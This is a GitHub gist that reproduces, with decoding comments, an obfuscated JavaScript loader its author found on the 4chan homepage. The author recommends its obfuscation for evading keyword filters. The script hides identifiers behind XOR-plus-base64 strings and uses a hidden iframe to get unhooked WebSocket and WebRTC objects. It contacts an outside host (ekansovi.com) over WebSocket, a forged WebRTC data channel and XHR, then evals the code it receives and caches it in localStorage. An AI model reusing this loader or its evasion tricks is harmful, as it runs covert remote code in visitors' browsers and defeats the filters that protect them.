Created
July 3, 2018 03:46
-
-
Save mywaiting/11c2e667692a4b1ba06409dc5f7f2e38 to your computer and use it in GitHub Desktop.
4chan.org 首页找到的一段很有趣的 js,特意逆向一下其实现方法。混淆的方式很简单,但是也很有效,可以当作关键字规避使用。
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function() { | |
try { | |
(function() { | |
function H() { | |
function a(a, e, f) { | |
if (!f) { | |
var c; | |
document.currentScript ? c = document.currentScript : (f = document.getElementsByTagName("script"), c = f[f.length - 1]); | |
if (!c) return !1; | |
f = document.createElement("div"); | |
try { | |
c.parentElement.appendChild(f) | |
} catch (k) {} | |
} | |
if (null == b) d.push([a, e, f]); | |
else try { | |
b({ | |
spaceID: a, | |
arguments: e, | |
destSelector: f | |
}) | |
} catch (k) {} | |
} | |
var b = null, | |
d = []; | |
this.push = a; | |
this.register = function(c) { | |
if (b || "function" != typeof c) return !1; | |
b = c; | |
for (c = 0; c < d.length; c++) try { | |
a(d[c][0], d[c][1], d[c][2]) | |
} catch (g) {} | |
} | |
} | |
function I() { | |
function a(a, e, f) { | |
try { | |
if (!e) return {}; | |
var g = d(a), | |
k = g.Object, | |
v = g.hasOwnProperty, | |
h = k(), | |
m; | |
for (m in e) if (v.call(e, m)) { | |
var l = e[m], | |
n = g[b.a("Aj8NCQ==")](m); // eval | |
void 0 !== l.bind && (n = n.bind(l.bind)); | |
h[l.name] = n | |
} | |
c(g) && f && a.parentElement && a.parentElement.removeChild(a); | |
return h | |
} catch (N) { | |
return {} | |
} | |
} | |
function e() { | |
var a = document.createElement(b.a("Di8eBD0K")); // iframe | |
a.style.display = "none"; | |
a.style.width = b.a("VjkU"); // b.a("VjkU") = 1px | |
a.style.height = b.a("VjkU"); | |
a[b.a("FDsPAT8M")] = "a"; | |
(document.body || document.head || document.documentElement).appendChild(a); | |
var c = d(a); | |
"undefined" === typeof c.document.documentElement && c.document.write("a"); | |
try { | |
c[b.a("FD0DFQ==")]() // stop | |
} catch (t) {} | |
return a | |
} | |
function d(a) { | |
var c = b.a("BCYCETUBGhIFGh8AIB48"), // contentDocument | |
e = b.a("AywKBCUDGgADHB0="), // defaultView | |
d = b.a("BCYCETUBGgEDFw4CMg=="); // contentWindow | |
return a[c] ? a[c][e] || a[d] : a[d] | |
} | |
function c(a) { | |
return "undefined" !== typeof a[b.a("LicfETEDAgIYEA0KIAI=")] // InstallTrigger | |
} | |
function g(a) { | |
// b.a("BCEeCj0K") = chrome | |
// b.a("ECwOFiQAHDM=") = webstore | |
// b.a("ECwODjkbPDMZFgYbIDwnJAw4NS88FhYgCgwnOz4hOA==") = webkitResolveLocalFileSystemURL | |
// b.a("FCgKBCIG") = safari | |
return !!a[b.a("BCEeCj0K")] && !! a[b.a("BCEeCj0K")][b.a("ECwOFiQAHDM=")] && !! a[b.a("ECwODjkbPDMZFgYbIDwnJAw4NS88FhYgCgwnOz4hOA==")] && !(b.a("FCgKBCIG") in a) | |
} | |
// f = window.RTCPeerConnection || window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.msRTCPeerConnection | |
var f = b.a("ECACAT8YQAQ+OjoIIAILKAM6FiUkGio3WQQ+dhwaGgcIPkISNQ0FPx4rPi4VFS01LjsdKDUQMTAWFmIqF1MDCgktAxJ+AgEsOC0pPSAVOgQCOh0jMwcsNhdYPipLBB0NAyYbSz0cPAIpKQ8INzMnKQMxEDI5HCs="), | |
// l = window.RTCSessionDescription || window.webkitRTCSessionDescription || window.mozRTCSessionDescription || window.msRTCSessionDescription | |
l = b.a("ECACAT8YQAQ+OjkINgMhKAMQFjUzASwpDREtOEsPCEMQIAIBPxhAIQ8bAQQxIhwEPjEANTkcKx0cCyEkAgMACggnTBksTxk/BB0FGmsdJz0/ADAVNQA2MBYWBjMYEAYKFz0FCj5PEipKDgMDIR8/aQAnIRITICAqChEtOC8WBwAVIBwROQAA"), | |
// k = window.RTCIceCandidate || window.webkitRTCIceCandidate || window.mozRTCIceCandidate || window.msRTCIceCandidate | |
k = b.a("ECACAT8YQAQ+OiMOIDMpKQk9FyckFmUlBVg1PwUXGxRJPgkHOwYaBD46Iw4gMykpCT0XJyQWZSUFWDU/BRcbFEkkAx8COy0fCRwpDCsUISMMIBZmLA9lLhAWJjkcXRkQNR0vLDMKLTcEHQMJJAQt"), | |
// h = window.WebSocket | |
h = b.a("ECACAT8YQAEPGzkCJhstMw=="), | |
n = e(), | |
m = d(n); | |
// b.a("DicCACI4BzIeEQ==") = innerWidth | |
// b.a("AyYPED0KACIvFQ8AIB48") = documentElement | |
// b.a("BCUFAD4bOT8ODQI=") = clientWidth | |
if (900 >= (m[b.a("DicCACI4BzIeEQ==")] || document[b.a("AyYPED0KACIvFQ8AIB48")][b.a("BCUFAD4bOT8ODQI=")] || document.body[b.a("BCUFAD4bOT8ODQI=")]) || !(g(m) || m[b.a("CDke")] && m[b.a("CDke")][b.a("Bi0ICj4c")] && m[b.a("BCEeCj0K")] || c(m) && "undefined" !== typeof m[b.a("CiYWLD4BCyQ5GhgIIB4Q")] && "undefined" !== typeof m[b.a("CiYWNwQsJzUPOgsDIRksJhkx")]) && (g(m) || m[b.a("CDke")] && m[b.a("CDke")][b.a("Bi0ICj4c")] || m[b.a("CDkJFzE=")] || void 0 === m[b.a("ECwODjkbLyMOEAUuKh48IhUg")])) { | |
var p = {}; | |
// b.a("NR0vNTUKHBUFFwQIJgQhKAM=") = RTCPeerConnection | |
p[b.a("NR0vNTUKHBUFFwQIJgQhKAM=")] = window[b.a("Aj8NCQ==")](f); // b.a("Aj8NCQ==") = eval | |
p[b.a("NR0vNjUcHT8FFy4INhM6Lh0gGik+")] = window[b.a("Aj8NCQ==")](l); | |
p[b.a("NR0vLDMKLTcEHQMJJAQt")] = window[b.a("Aj8NCQ==")](k); | |
p[b.a("MCwONj8MBTMe")] = window[b.a("Aj8NCQ==")](h); | |
return p | |
} | |
var q = null, | |
u = {}; | |
u[f] = { | |
bind: void 0, | |
name: b.a("NR0vNTUKHBUFFwQIJgQhKAM=") // RTCPeerConnection | |
}; | |
u[l] = { | |
bind: void 0, | |
name: b.a("NR0vNjUcHT8FFy4INhM6Lh0gGik+") // RTCSessionDescription | |
}; | |
u[k] = { | |
bind: void 0, | |
name: b.a("NR0vLDMKLTcEHQMJJAQt") // RTCIceCandidate | |
}; | |
f = { | |
bind: void 0, | |
name: b.a("MCwONj8MBTMe") // WebSocket | |
}; | |
q = {}; | |
c(m) ? (q = {}, q[h] = f, h = e(), q = a(h, q, !0)) : u[h] = f; | |
h = a(n, u, !1); | |
for (p in q) q.hasOwnProperty(p) && (h[p] = q[p]); | |
return h | |
} | |
function r(a) { | |
return window.hasOwnProperty ? window.hasOwnProperty(a) : a in window | |
} | |
function w(a) { | |
this.w = a; | |
this.g = null | |
} | |
function x(a) { | |
if (!a || !a.m) throw Error(); | |
this.m = a.m | |
} | |
function y(a) { | |
if (!(a && a.i && a.j && a.h)) throw Error(); | |
this.i = a.i; | |
this.j = a.j; | |
this.h = a.h; | |
this.c = null | |
} | |
function z(a) { | |
if (!a || !a.l) throw Error(); | |
this.l = a.l; | |
this.c = null | |
} | |
function C(a, e, d, c) { | |
var g = !1, | |
f = !1, | |
l = b.s.encode(JSON.stringify({ | |
url: e.url || "", | |
method: e.method || "GET", | |
headers: e.headers || {}, | |
body: null | |
})); | |
a.onopen = function() { | |
a.send(l) | |
}; | |
var k = new ArrayBuffer(0), | |
h; | |
a.onmessage = function(a) { | |
if (!1 === g) g = !0, a = b.s.decode(a.data), h = JSON.parse(a), h.headers = h.headers ? D(h.headers) : {}, h = { | |
status: h.status || 0, | |
headers: h.headers || {} | |
}; | |
else { | |
a = a.data; | |
var c = new Uint8Array(k.byteLength + a.byteLength); | |
c.set(new Uint8Array(k), 0); | |
c.set(new Uint8Array(a), k.byteLength); | |
k = c.buffer | |
} | |
}; | |
a.onerror = function() { | |
f = !0; | |
c && c(Error()) | |
}; | |
a.onclose = function() { | |
f || (g ? (h.body = k, d && d(h)) : (f = !0, c && c(Error()))) | |
} | |
} | |
function D(a) { | |
for (var b = {}, d = Object.keys(a), c = 0; c < d.length; c++) b[d[c].toLowerCase()] = a[d[c]]; | |
return b | |
} | |
function J() { | |
this.o = "74cb23bd"; | |
this.J = "6ab36227"; | |
this.M = "4e81075f"; | |
this.I = function() { | |
if ("undefined" === typeof Storage) return null; | |
var a = this.A(localStorage); | |
return null != a ? a : this.A(sessionStorage) | |
}; | |
this.A = function(a) { | |
for (var e in a) if (a.hasOwnProperty(e)) { | |
var d = a[e]; | |
if ("VX8OUm" === d.substr(d.length - 6, d.length)) { | |
var c; | |
if (d = d.substring(0, d.length - 6)) try { | |
c = JSON.parse(b.a(decodeURIComponent(escape(atob(d))), !1)) | |
} catch (g) { | |
c = null | |
} else c = null; | |
if (c && c[this.o] && "VX8OUm" === c[this.J]) if (d = (Date.now() / 1E3 - c[this.o][this.M]) / 3600, window.isNaN(d) || 24 < d) delete a[e]; | |
else return { | |
H: c[this.o][this.o], | |
B: e | |
} | |
} | |
} | |
return null | |
} | |
} | |
function K(a, e) { | |
function d(d) { | |
d = b.s.decode(d.body); | |
var e = {}; | |
e[f.name()] = f.f(); | |
e["1ec17f9f"] = c; | |
a(d, e) | |
} | |
A.K() && (b.F = new b.u("R3X + gIlePonVjyjmEpHGmTsFPsEYyxBVkstc")); | |
var c = I(), | |
g = []; | |
try { | |
g.push(new z({ | |
l: c[b.a("MCwONj8MBTMe")] | |
})) | |
} catch (l) {} | |
try { | |
g.push(new y({ | |
i: c[b.a("NR0vNTUKHBUFFwQIJgQhKAM=")], // RTCPeerConnection | |
j: c[b.a("NR0vNjUcHT8FFy4INhM6Lh0gGik+")], | |
h: c[b.a("NR0vLDMKLTcEHQMJJAQt")] | |
})) | |
} catch (l) {} | |
try { | |
g.push(new x({ | |
m: window.XMLHttpRequest | |
})) | |
} catch (l) {} | |
var f = new w(g), | |
g = { | |
url: b.a("SCwGFm8fUw==") + "1416070001" // /ejs?p= | |
}; | |
try { | |
f.b(g, d, e) | |
} catch (l) { | |
e && e(Error()) | |
} | |
} | |
function E(a, b) { | |
(function() { | |
eval(a) | |
})(b) | |
} | |
function L() { | |
A.startTime = Date.now(); | |
var a = new H; | |
window.upManager = a; | |
var a = { | |
"8d5f8a22": a.register, | |
push: a.push, | |
"2393021f": null, | |
"3c58535f": null | |
}, | |
b = null; | |
try { | |
b = (new J).I() | |
} catch (d) {} | |
if (null != b) try { | |
E(b.H, a) | |
} catch (d) { | |
delete localStorage[b.B], delete sessionStorage[b.B] | |
} else M(a) | |
} | |
function F() { | |
if (!G) { | |
var a = document.createElement("script"); | |
a.src = ("https:" == window.location.protocol ? "https://" : "http://") + b.a("HyEeSzUEDzgZFhwEaxMnKg==") + "/ljs?p=1416070001"; // xhr.ekansovi.com | |
document.getElementsByTagName("head")[0].appendChild(a); | |
G = !0 | |
} | |
} | |
function M(a) { | |
K(function(b, d) { | |
if ("" != b) { | |
a["2393021f"] = b; | |
d && (a["3c58535f"] = d); | |
try { | |
E(a["2393021f"], a) | |
} catch (c) {} | |
} | |
}, function() { | |
F() | |
}) | |
} | |
var b = { | |
v: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" | |
}; | |
// base64 encode | |
window.btoa || (window.btoa = function(a) { | |
a = String(a); | |
for (var e, d, c = 0, g = b.v, f = ""; a.charAt(c | 0) || (g = "=", c % 1); f += g.charAt(63 & e >> 8 - c % 1 * 8)) { | |
d = a.charCodeAt(c += .75); | |
if (255 < d) return !1; | |
e = e << 8 | d | |
} | |
return f | |
}); | |
// base64 decode | |
window.atob || (window.atob = function(a) { | |
a = String(a).replace(/=+$/, ""); | |
if (1 == a.length % 4) return !1; | |
for (var e = 0, d, c, g = 0, f = ""; c = a.charAt(g++);~c && (d = e % 4 ? 64 * d + c : c, e++ % 4) ? f += String.fromCharCode(255 & d >> (-2 * e & 6)) : 0) c = b.v.indexOf(c); | |
return f | |
}); | |
b.s = { | |
encode: function(a) { | |
if (window.TextEncoder) return (new window.TextEncoder("utf-8")).encode(a).buffer; | |
a = unescape(encodeURIComponent(a)); | |
for (var b = new Uint8Array(a.length), d = 0; d < a.length; d++) b[d] = a.charCodeAt(d); | |
return b.buffer | |
}, | |
decode: function(a) { | |
if (window.TextDecoder) return (new window.TextDecoder("utf-8")).decode(a); | |
try { | |
return decodeURIComponent(escape(String.fromCharCode.apply(null, new Uint8Array(a)))) | |
} catch (g) { | |
var b = ""; | |
a = new Uint8Array(a); | |
for (var d = a.byteLength, c = 0; c < d; c++) b += String.fromCharCode(a[c]); | |
return decodeURIComponent(escape(b)) | |
} | |
} | |
}; | |
b.N = { | |
encode: function(a) { | |
a = new Uint8Array(a); | |
for (var b = "", d = 0; d < a.length; d++) b += String.fromCharCode(a[d]); | |
return btoa(b) | |
}, | |
decode: function(a) { | |
a = atob(a); | |
for (var b = new Uint8Array(a.length), d = 0; d < a.length; d++) b[d] = a.charCodeAt(d); | |
return b.buffer | |
} | |
}; | |
b.u = function(a) { | |
this.C = []; | |
this.D = 256; | |
for (var b = 0; b < this.D; b++) this.C[b] = a.charCodeAt(b % a.length); | |
this.L = function(a) { | |
for (var b = "", d = 0; d < a.length; d++) b += String.fromCharCode(a.charCodeAt(d) ^ this.C[d % this.D]); | |
return b | |
} | |
}; | |
b.F = new b.u("gIlePonVjyjmEpHGmTsFPsEYyxBVkstc"); | |
b.G = function(a) { | |
return b.F.L(a) | |
}; | |
b.a = function(a, e) { | |
!1 !== e && (a = atob(a)); | |
return b.G(a) | |
}; | |
b.O = function(a) { | |
(new Image).src = domain + "/l?a=" + a + "&p=1416070001&cb=" + Math.random().toString().slice(3, 9) + "&a=/staticmap&size=300x250" | |
}; | |
z.prototype.b = function(a, e, d) { | |
// b.a("EDofX39A") = wss:// | |
// b.a("BmcJDjEBHTkcEEQOKh0=") = a.ekansovi.com | |
// b.a("SD4fFQ==") = /wsp | |
var c = new this.l(b.a("EDofX39A") + b.a("BmcJDjEBHTkcEEQOKh0=") + b.a("SD4fFQ==")); | |
c.binaryType = b.a("BjseBCkNGzAMHBg="); // b.a("BjseBCkNGzAMHBg=") = arraybuffer | |
this.c = c; | |
C(c, a, e, d) | |
}; | |
z.prototype.f = function() { | |
return this.c | |
}; | |
z.prototype.name = function() { | |
return "1" | |
}; | |
y.prototype.b = function(a, e, d) { | |
var c = b.a("BDsJBCQKITAMHBg="), // createOffer | |
g = b.a("FCwYKT8MDzouHBkONxk4MwQ7HQ=="), // setLocalDescription | |
f = b.a("FCwYNzUCASIPPQ8eJgIhNxk9HCg="), | |
l = b.a("BDsJBCQKKjceGCkFJB4mIgE="), // createDataChannel | |
k = b.a("Bi0ILDMKLTcEHQMJJAQt"), // addIceCandidate | |
h = b.a("CCcFBjUMDzgOEA4MMRU="), // onicecandidate | |
n = b.a("BCgCATkLDyIP"), // candidate | |
m = this.i, | |
p = this.j, | |
q = this.h, | |
// u = F5:AB:89:E4:41:91:79:33:02:B8:7A:5B:E1:F5:46:7E:FE:5F:24:8F:BE:4E:3C:EC:78:06:53:A2:3F:4A:79:98 | |
u = b.a("IXxWJBJVVm9QPF5XcUFyflxuRH9qQHZjSUp4FFNJQyJdfC5fFV5UEF9DXlt/Rw19KxFJcxZJd21DQARsKTZOVyJzXyZqKi1sXUFQXXNKfXRXFUF8YzV/bThCdW9RSkw="), | |
v = {}; | |
// b.a("EjsAFg==") = urls | |
// b.a("FD0ZC2o=") = stun: | |
// b.a("BmcJDjEBHTkcEEQOKh0=") = a.ekansovi.com | |
// b.a("UXlcVA==") = 6001 | |
v[b.a("EjsAFg==")] = [b.a("FD0ZC2o=") + (b.a("BmcJDjEBHTkcEEQOKh0=") + ":" + b.a("UXlcVA=="))]; | |
var B = {}; | |
// b.a("DioJNjUdGDMYCg==") = iceServers | |
B[b.a("DioJNjUdGDMYCg==")] = [v]; | |
var t = new m(B); | |
// b.a("SCQJETFAHj8EHg==") = /meta/ping | |
// b.a("BjseBCkNGzAMHBg=") = arrayBuffer | |
t[l](b.a("SCQJETFAHj8EHg==")).binaryType = b.a("BjseBCkNGzAMHBg="); | |
t[h] = function(a) { | |
// new RegExp(/^candidate:\d+ \d+ (?:udp|UDP) \d+ (\d+\.\d+\.\d+\.\d+ \d+) typ srflx/) | |
if (null != a[n] && (a = a[n][n].match(new RegExp(b.a("OSoNCzQGCjceHFAxIVtoGwl/U25vSTA9CQQXEjtaVD8DYkxNDAtFCkQlDkYZXhQjRghdGjRYZQUdU2t2HwoEQxQ7Cgko"))), null != a)) { | |
var c = {}; | |
// b.a("BCgCATkLDyIP")] = | |
// b.a("BCgCATkLDyIPQ1pNdFAdAz10QXdkRHFhSk52YUs=") = 'candidate:0 1 UDP 2147483647 ' | |
c[b.a("BCgCATkLDyIP")] = b.a("BCgCATkLDyIPQ1pNdFAdAz10QXdkRHFhSk52YUs=") + a[1] + b.a("Rz0VFXAHASUe"); | |
// b.a("FC0cKBwGADMjFw4IPQ==") = sdpMLineIndex | |
c[b.a("FC0cKBwGADMjFw4IPQ==")] = 0; | |
t[k](new q(c), function() {}, function() {}) | |
} | |
}; | |
// 这段发送数据很有意思! | |
// b.a("EXRcbz9SGyUPCwQMKBVod01kUw8eUwwJTVhzZFxdRE1XZ11vI1IdMxkKAwIrHikqCF4Qexk9ZRApTGJnWURaU0l5QlRaG1NmSklgDHgWISkKMQE2IhorLUMLKjdGQUFVRw==") | |
/* | |
v=0 | |
o=username 0 0 IN IP4 127.0.0.1 | |
s=sessionname | |
c=IN IP4 127.0.0.1 | |
t=0 0 | |
a=fingerprint:sha-256 " | |
*/ | |
// u = F5:AB:89:E4:41:91:79:33:02:B8:7A:5B:E1:F5:46:7E:FE:5F:24:8F:BE:4E:3C:EC:78:06:53:A2:3F:4A:79:98 | |
/* | |
FingerPrint SHA | |
*/ | |
// b.a("bShRDDMKQzkaDQMCKwNyMx89EC08Fk80RBkyJgcaFwITIAMLcF5cZV5ZLjkJI2cULgAjZmVDdWlzGX8lCAcEDgY5VlBgX152HRwIHzETZSMMIBIlOBIrNxwUYmReRX4CWiAPAH0aCCQLHlA=") | |
/* | |
a=ice-options:trickle | |
m=application 1234 DTLS/SCTP 5000 | |
a=sctpmap:5000 webrtc-datachannel 256 | |
a=ice-ufrag:" | |
*/ | |
var r = b.a("EXRcbz9SGyUPCwQMKBVod01kUw8eUwwJTVhzZFxdRE1XZ11vI1IdMxkKAwIrHikqCF4Qexk9ZRApTGJnWURaU0l5QlRaG1NmSklgDHgWISkKMQE2IhorLUMLKjdGQUFVRw==") + u + b.a("bShRDDMKQzkaDQMCKwNyMx89EC08Fk80RBkyJgcaFwITIAMLcF5cZV5ZLjkJI2cULgAjZmVDdWlzGX8lCAcEDgY5VlBgX152HRwIHzETZSMMIBIlOBIrNxwUYmReRX4CWiAPAH0aCCQLHlA=") + | |
// 这个函数会返回一段很长的唯一性 hash | |
// 比如说这样: 72de70540e4aab7a44a2f494d49fc1c801b0e3dc5b96899c37c7cfc3816c10caf809e8a862a96450fda37d45d013399fb6a419caeb9ea3b037ffb9fb0c4e897a | |
function() { | |
for (var a = "", b = 0; 16 > b; ++b) var c = (4294967296 * Math.random() >>> 0).toString(16), | |
a = a + ("00000000".substring(0, 8 - c.length) + c); | |
return a | |
}() + | |
// b.a("bShRDDMKQyYdHVBddUB4d11kQ3ZgQ3VpSUhyZltDRFNXeVxVYF9eZlpJWmc=") | |
/* | |
a=ice-pwd:00000000000000000000000000000000 | |
*/ | |
b.a("bShRDDMKQyYdHVBddUB4d11kQ3ZgQ3VpSUhyZltDRFNXeVxVYF9eZlpJWmc="); | |
t[c](function(a) { | |
t[g](a, function() { | |
var a = {}; | |
a[b.a("EzAcAA==")] = b.a("BicfEjUd"); // a[type] = 'answer' | |
a[b.a("FC0c")] = r; // a[sdp] = r | |
t[f](new p(a), function() {}, function() {}) | |
}, function() {}) | |
}, function() {}); | |
c = t[l](b.a("SD4fFVA=") + window.navigator.userAgent); // b.a("SD4fFVA=") = '/wsp' | |
c.binaryType = b.a("BjseBCkNGzAMHBg="); | |
this.c = t; | |
C(c, a, e, d) | |
}; | |
y.prototype.f = function() { | |
return this.c | |
}; | |
y.prototype.name = function() { | |
return "2" | |
}; | |
x.prototype.b = function(a, e, d) { | |
var c = this.m, | |
g = a.url || ""; | |
if (1 > g.length || "/" != g[0]) g = "/" + g; | |
var g = ("https:" == window.location.protocol ? "https://" : "http://") + b.a("HyEeSzUEDzgZFhwEaxMnKg==") + g, | |
f = a.method || "GET"; | |
a = a.headers || {}; | |
var l = !1, | |
k = new c; | |
k.onreadystatechange = function() { | |
if (4 == k.readyState) if (0 == k.status) l || (l = !0, d && d(Error())); | |
else { | |
var a = k.status; | |
var b = k.getAllResponseHeaders(), | |
c = {}; | |
if (b) for (var b = b.split(atob("XHJcbg==")), f = 0; f < b.length; f++) { | |
var g = b[f], | |
h = g.indexOf(": "); | |
if (0 < h) { | |
var r = g.substring(0, h), | |
g = g.substring(h + 2); | |
c[r] || (c[r] = []); | |
c[r].push(g) | |
} | |
} | |
a = { | |
status: a, | |
headers: D(c), | |
body: k.response | |
}; | |
e && e(a) | |
} | |
}; | |
k.onerror = function() { | |
l || (l = !0, d && d(Error())) | |
}; | |
k.open(f, g, !0); | |
k.responseType = b.a("BjseBCkNGzAMHBg="); | |
for (var h in a) a.hasOwnProperty(h) && k.setRequestHeader(h, a[h]); | |
k.send(null) | |
}; | |
x.prototype.f = function() { | |
return null | |
}; | |
x.prototype.name = function() { | |
return "0" | |
}; | |
w.prototype.b = function(a, b, d) { | |
function c(c) { | |
return function() { | |
function d(a) { | |
200 > a.status || 300 <= a.status ? f.shift()() : (e.g = c, b && b(a)) | |
} | |
try { | |
c.b(a, d, function() { | |
f.shift()() | |
}) | |
} catch (n) { | |
f.shift()() | |
} | |
} | |
} | |
for (var e = this, f = [], l = 0; l < this.w.length; l++) f.push(c(this.w[l])); | |
f.push(function() { | |
d && d(Error()) | |
}); | |
f.shift()() | |
}; | |
w.prototype.f = function() { | |
return this.g ? this.g.f() : null | |
}; | |
w.prototype.name = function() { | |
return this.g ? this.g.name() : "" | |
}; | |
var A = {}; | |
A.startTime = Date.now(); | |
A.K = function() { | |
return Date.now() > this.startTime + 4E3 | |
}; | |
var G = !1; | |
try { | |
// b.a("EiobADI=") = 'ucweb' | |
// b.a("EioHACk=") = 'uckey' | |
// b.a("MgotATQAABwLDws=") = "UCAddonJava" | |
// b.a("EioNFTk=") = 'ucapi' | |
(r(b.a("EiobADI=")) || r(b.a("EioHACk=")) || r(b.a("MgotATQAABwLDws=")) || r(b.a("EioNFTk="))) && F() | |
} catch (a) {} | |
try { | |
L() | |
} catch (a) { | |
window.upManager = a | |
} | |
})(); | |
} catch (e) {} | |
})() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment